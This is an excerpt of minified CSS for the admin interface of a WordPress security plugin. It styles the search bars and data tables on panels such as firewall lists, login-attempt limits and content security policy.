.rsssl-field-wrap .rsssl-search-bar__input,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar__input,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar__input{width:150px;transition:width .3s ease}.rsssl-404_blocking .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-user_agents .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-search-bar__input:focus,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-search-bar__input:focus{width:200px}.rsssl-404_blocking .rsssl-field-wrap .rsssl-container,.rsssl-user_agents .rsssl-field-wrap .rsssl-container,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-container,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-container,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-container,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-container,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-container,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-container,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-container,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-container,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-container,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-container,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-container,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-container,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-container,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-container,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-container,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-container{padding:2em;display:flex;align-items:center;justify-content:space-between}.rsssl-404_blocking .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-user_agents .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-content_security_policy .rsssl-field-wrap .rsssl-multiselect-datatable-form,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-multiselect-datatable-form{display:flex;align-items:center;Justify-content:space-between;width:100%;padding:1em 2em;background:var(--rsp-blue-faded)}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child{min-width:20px;float:left}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-user_agents .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-user_agents .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child button,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child span{min-width:20px;float:left}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCol,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCol,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCell,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCol,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCol,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCol,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCol,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCol,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCol,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCol,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCol,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCol,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCol,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCol,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCol,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCol,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCell,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCol,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCol,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCol_Sortable,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCol,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCol_Sortable{flex-direction:row}.rsssl-404_blocking .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-user_agents .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-content_security_policy_source_directives .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-firewall_block_list_listing .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-two_fa_users .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-firewall_list_listing .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-vulnerabilities_overview .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-permissions_policy .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-firewall_white_list_listing .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-firewall_logs_content .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-limit_login_attempts_country .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-limit_login_attempts_users .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-mixed-content-scan .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-content_security_policy .rsssl-field-wrap #cell-2-force_update>div>select,.rsssl-hardening-xml .rsssl-field-wrap #cell-2-force_update>div>select{max-width:100%}.rsssl-404_blocking .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-user_agents .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-content_security_policy_source_directives .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-firewall_block_list_listing .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-two_fa_users .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-firewall_list_listing .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-vulnerabilities_overview .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-permissions_policy .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-firewall_white_list_listing .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-firewall_logs_content .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-limit_login_attempts_country .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-limit_login_attempts_users .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-mixed-content-scan .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-content_security_policy .rsssl-field-wrap #cell-2-quarantine>div>select,.rsssl-hardening-xml .rsssl-field-wrap #cell-2-quarantine>div>select{max-width:100%}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell:first-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCol:first-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell:first-child{min-width:initial}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child{flex-grow:0;flex-direction:row-reverse;min-width:initial}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow,.rsssl-user_agents .rsssl-field-wrap .rdt_TableRow,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow{padding:var(--rsp-spacing-xs) 0}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-user_agents .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow:nth-child(odd),.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow:nth-child(odd){background-color:var(--rsp-grey-200)}.rsssl-404_blocking .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-mixed-content-scan .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableRow .rdt_TableCell:last-child{flex-grow:0}.rsssl-404_blocking .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-user_agents .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-two_fa_users .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-permissions_policy .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-mixed-content-scan .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-content_security_policy .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3),.rsssl-hardening-xml .rsssl-field-wrap .rsssl-csp-revoked>div:nth-child(-n+3){opacity:.3}.rsssl-content_security_policy .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-permissions_policy .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-field-wrap .rdt_TableHeadRow .rdt_TableCol:last-child{flex-grow:0;min-width:initial;justify-content:flex-end}.rdt_TableRow .rdt_TableCell:last-child{flex-grow:0;min-width:initial}.rsssl-csp-revoked>div:nth-child(-n+3){opacity:.3}.rsssl-content_security_policy .rsssl-field-wrap>div>div,.rsssl-xml_rpc .rsssl-field-wrap>div>div{overflow-x:inherit;overflow-y:inherit}.rsssl-mixed-content-datatable>div>div{display:flex}.rsssl-vulnerabilities_measures .rdt_TableRow .rdt_TableCell:nth-child(3){max-width:50%}.rsssl-vulnerabilities_measures .rsssl-field-wrap,.rsssl-404_blocking .rsssl-field-wrap,.rsssl-user_agents .rsssl-field-wrap,.rsssl-firewall_logs .rsssl-field-wrap,.rsssl-permissions_policy .rsssl-field-wrap,.rsssl-two_fa_users .rsssl-field-wrap,.rsssl-vulnerabilities-measures-overview 